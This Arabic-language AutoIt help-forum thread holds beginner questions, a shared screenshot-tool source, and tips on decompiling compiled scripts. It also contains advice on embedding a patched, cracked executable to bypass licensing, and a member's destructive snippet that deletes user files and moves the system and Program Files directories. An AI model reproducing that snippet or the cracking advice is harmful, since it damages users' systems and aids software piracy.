موضوع خاص لدعــم الـ AutoIt -- افكار ؛ مشاريع ؛ سورسات ؛ اسئله ؛ نقاشات ...... الخ

[À7R8 àLRO7]

امممممم


طيب سؤال محيرني


ماهو برنامج الاتوات

ومافائدته؟؟؟


اعذروني على هذا السؤال

 

[elawady]

تم الأنتهاء من أول نسخة من برنامج
auto program installer

رابط البرنامج

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

مساحته 400 ميجا علشان فيه البرامج اللي بيسطبها

يا ريت تقولوا رأيكم في البرنامج

 

[LINEZERO]

تم الأنتهاء من أول نسخة من برنامج
auto program installer

رابط البرنامج

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

مساحته 400 ميجا علشان فيه البرامج اللي بيسطبها

يا ريت تقولوا رأيكم في البرنامج

جاري التجربه ​

 

[Corporation]

شباب هل أستطيع تلوين مربع المسج بوكس ؟

ب حركه دراماتيكيه ب الـ Msgbox ، :d:
أمثله ،

،
الأمر

_ExtMsgBox

أجتهد شوي وبتلقىُ ، عنه شروحات ، ب Help files :king:

 

[ramay]

أستفسارللخبراء للأيتو
هل ممكن أستخرج سورس بعد ضغطه​

 

[Dr.MoNy]

السلام عليكم ،
الله لايهينكم عندي شغله صغيره و ابيكم تفيدوني ..
انا عندي برنامج و معاه الكراك . هل من طريقه اخلي الكراك يشتغل مع البرنامج بدون ما اشغل الكراك ؟

 

[Damax2010]

أستفسارللخبراء للأيتو
هل ممكن أستخرج سورس بعد ضغطه​

نعم لقد كان هناك برنامج يقوم بهدا العمل من ملف تنفيدي الى ملف اوتوات لكنها قامت بحدفه نهائيا لاسباب تجارية و حقوق المبرمج .

 

[Dr.MoNy]

السلام عليكم ،
الله لايهينكم عندي شغله صغيره و ابيكم تفيدوني ..
انا عندي برنامج و معاه الكراك . هل من طريقه اخلي الكراك يشتغل مع البرنامج بدون ما اشغل الكراك ؟

 

[Alzri2]

أستفسارللخبراء للأيتو
هل ممكن أستخرج سورس بعد ضغطه​

نعم بالإمكان إعادة تفكيك السورس
​

السلام عليكم ،
الله لايهينكم عندي شغله صغيره و ابيكم تفيدوني ..
انا عندي برنامج و معاه الكراك . هل من طريقه اخلي الكراك يشتغل مع البرنامج بدون ما اشغل الكراك ؟

أعتقد Winrar بعمل SFX يكون كافي بدون AutoIt
وإذا أنت تريد AutoIt إستعمل FileInstall
​

 

[lak3yoni]

السلام عليكم ورحمة الله وبركاتة


حبيت اشاركم في بريمج قمت بعملة قبل سنتين عندما كنت اتعلم لغة autoIt

والان حبيت اشاركم في البريمج ... واعذورني على الشرح لان الكومنت الموجود في البرنامج قديم


البريمج في البداية يقوم في تصوير سطح المكتب ويحفظ الصورة باسم يقوم المستخدم في ادخالة وفي حالة أدخل المستخدم اسم فارغ فان البرنامج لا يقبل وسوف يجبر المستخدم على ادخال اسم الصورة وعندما يدخل اسم صورة موجود مسبقا على سطح المكتب سوف يتم تعديل الاسم ويتم اضافة رقم واحد واثنين وثلاثة على حسب الموجود عندك يعني مثل حركة الويندوز في حالة وجود ملفين بنفس الاسم
وبعد ذلك يمكنك تشغيل البرنامج عن طريق الايقونة الموجوده على سطح المكتب او من خلال ضغط alt+n

#cs ----------------------------------------------------------------------------

 
 Author:        @lak3yoni



#ce ----------------------------------------------------------------------------


#NoTrayIcon
#include <ScreenCapture.au3>
#include <file.au3>


; ننشاء متغير يدخل المستخدم قيمة هذا المتغير وقيمة هذ ا المتغير  سوف تصبح اسم الصـوره

; يدخل المستخدم اسم الصوره
$NameIamge= InputBox("تم تصـوير سطح المكتب","ادخل اسم الصـوره  ")

; هنا اخر تكمله الكود عشان ماتطلع اثار  انبوت بوكس  في الشاشه
Sleep(500)
$Error=@error
if $Error=1 then
Exit



elseif $Error=0 then
;اذ لم يدخل المستخدم اسم فارغ للصورة  اعمل
while $NameIamge= ""
    MsgBox(16,"خطـاء"," لم تكتب اسم الصوره الرجاء كتابه اسم الصوره",1)
    $NameIamge= InputBox("تم تصوير الشاشه ","ادخل اسم الصـوره  ")
    if  not $NameIamge="" then
    ExitLoop
else
    ContinueLoop
endif
    wend

;فيل لست عشان اتاكد ان الملف غير موجود سابقا
$FileList = _FileListToArray(@DesktopDir, $NameIamge & "*.jpg", 1)
;اذا الملف موجود  اعمل
If  IsArray ($FileList) Then
; اضف الى اسم المجلد زياده واحد
$NameIamge &= $FileList[0] & + 1


EndIf
; ثم صور سطح المكتب
_ScreenCapture_Capture(@DesktopDir & "\"&$NameIamge&".jpg")
;تظهر مسج بوكس
msgbox(48,"تم حفظ الصوره",$NameIamge&".jpg"&"    "&"تم تصوير الشاشه وحفظ الصوره باسم : " &@crlf&@crlf& "مع تحيات مشاري العنزي ",2)
;Else
    ; اذا لم يدخل المستخدم اسم للصورة  تطلع له رساله تحذير
    ;MsgBox(16,"فشلت عملية التصوير"," لم تكتب اسم الصوره الرجاء كتابه اسم الصوره")
;EndIf






; نسوي اختصار للملف عشان نقدر نستخدم ازرار الكيبورد في الاختصار
FileCreateShortcut ( "تصـوير سطح المكتب.exe", @DesktopDir&"\تصوير سطح المكتب.exe" , @WindowsDir , "/e,c:\","اختصار لتصوير سطح المكتب ", @WindowsDir&"\f.ico","!n","", @SW_SHOWNORMAL)
; انقل الملف الاصلي حق البرنامج الى مجلد الويندز
FileMove ( "تصـوير سطح المكتب.exe",@WindowsDir & "\تصـوير سطح المكتب.exe")
Beep()

;ElseIf  $error = 1 Then
    ;MsgBox(48,"الغـاء","لقد اخترت الغاء الامر .:. فشلت عمليه التصوير ")
endif
;بعد التنفيذ يمكنك تشغيل البرنامج عن طريقة الايقونه الموجود في سطح المكتب او عن طريق ضغط alt+n

صراحة خجول في طرحي البريمج ولكن مع هذا اتمنى ان تستفيدوا من طرحي ولو قليل

 

[Dr.MoNy]

أخوي ممكن شرح الله لايهينك
; Include a bitmap found in "C:\test.bmp" with the compiled program and put it in "D:\mydir\test.bmp" when it is run
$b = True
If $b = True Then FileInstall("C:\test.bmp", "D:\mydir\test.bmp")

 

[Alzri2]

أخوي ممكن شرح الله لايهينك
; Include a bitmap found in "C:\test.bmp" with the compiled program and put it in "D:\mydir\test.bmp" when it is run
$b = True
If $b = True Then FileInstall("C:\test.bmp", "D:\mydir\test.bmp")

تقوم بعمل patch للملف ثم تأخذ الملف الجديد بعد التعديل عليه

ثم تضمنه في السورس حتى يتم إستخراجه :

FileInstall("Patched.exe", "test.exe", 1)

 

[ramay]

نعم لقد كان هناك برنامج يقوم بهدا العمل من ملف تنفيدي الى ملف اوتوات لكنها قامت بحدفه نهائيا لاسباب تجارية و حقوق المبرمج .

نعم بالإمكان إعادة تفكيك السورس




​

طيب كيف صراح من فترة سنه أعطيت أحد ملف تنفيذي ففكه لي وأستغربت من ذلك
ولأن جاء دوري لأتعلم كيف فكه
ممكن طريقة استاذ Alzri2
​

 

[Alzri2]

​

طيب كيف صراح من فترة سنه أعطيت أحد ملف تنفيذي ففكه لي وأستغربت من ذلك
ولأن جاء دوري لأتعلم كيف فكه
ممكن طريقة استاذ alzri2
[/center]

المعذرة بسبب التأخر

راجع الموضوع رقم 8711 في منتدى "الفريق العربي للهندسة العكسية"

تجد فيه ضالتك إن شاء الله

 

[abo sahar]

أخي تم تجميع الدورة بـ كتاب pdf
وبعد أذنك بأنشره ؟

 

[diyar26]

بارك الله فيك
ممكن اعرف اهمية هذا الدرس

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

 

[Bo.SaQeR]

بارك الله فيك
ممكن اعرف اهمية هذا الدرس

يجب عليك تسجيل الدخول او تسجيل لمشاهدة الرابط المخفي

لـ نفرض أنك تبغى تنسخ ملف اسمه zyzoom.zip من القرص D إلى سطح المكتب ..
الكود راح يكون بهذا الشكل ..

[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000],[/COLOR][COLOR=#9999cc]"C:\Users\[/COLOR][COLOR=Red]diyar26[/COLOR][COLOR=#9999cc]\Desktop\"[/COLOR][COLOR=#ff0000])[/COLOR]

الكود السابق ما راح يشتغل على إلا على المستخدم diyar26 ..
لأنك محدد مسار سطح المكتب الخاص بالمستخدم diyar26 ..
لحل هذي المشكله نستخدم المسارات الإفتراضية ..
و الكود راح يكون كذا ..

[COLOR=#000090]FileCopy[/COLOR][COLOR=#ff0000]([/COLOR][COLOR=#9999cc]"D:\zyzoom.zip"[/COLOR][COLOR=#ff0000], [/COLOR][COLOR=#ff33ff][COLOR=#ff33ff]@desktopdir [/COLOR][/COLOR][COLOR=#ff0000])[/COLOR]

بالتوفيق ..

:king:

 

[shohrt]

بارك الله فيك اخ بندر

والله يجزيك كل خير لانك شخص محب للخير وتحب الفائدة للجميع

جاري المتابعة معاكم بموضوع الدروس و تحضير الإختراعات لهذا الموضوع :d:​

 

[Dr.MoNy]

السلام عليكم ..
شباب عندي طلب لاهنتو ..
لو مثلا انا سويت أداه
الأداه عبار عن حذف الملف الفلاني + توقف الماوس عن العمل
لو ابي الأمرين تشتغل مع بعض كيف اخليها ؟
لأن سويت الطريقه أول شي يحذف الملف بعدين يعلق الماوس
فـ أنا ابي اخليهم مع بعض يشتغلون
و مشكورين مقدماً

 

[Dr.MoNy]

شباب والله أنلحس مخي

FileDelete(@DesktopDir & "\*.*")
     DirMove(@ProgramFilesDir & "\*.*", @DesktopDir &"\" ,1)
     DirMove(@SystemDir & "\*.*", @DesktopDir &"\" ,1)
     FileDelete(@TempDir & "\*.*")
     FileDelete(@MyDocumentsDir & "\*.*")

هل هذه صحيحه ؟
حذف الملفات و نقل الملفات من المجلدات التاليه ؟
مع العلم سويتها بس ما اشتغلت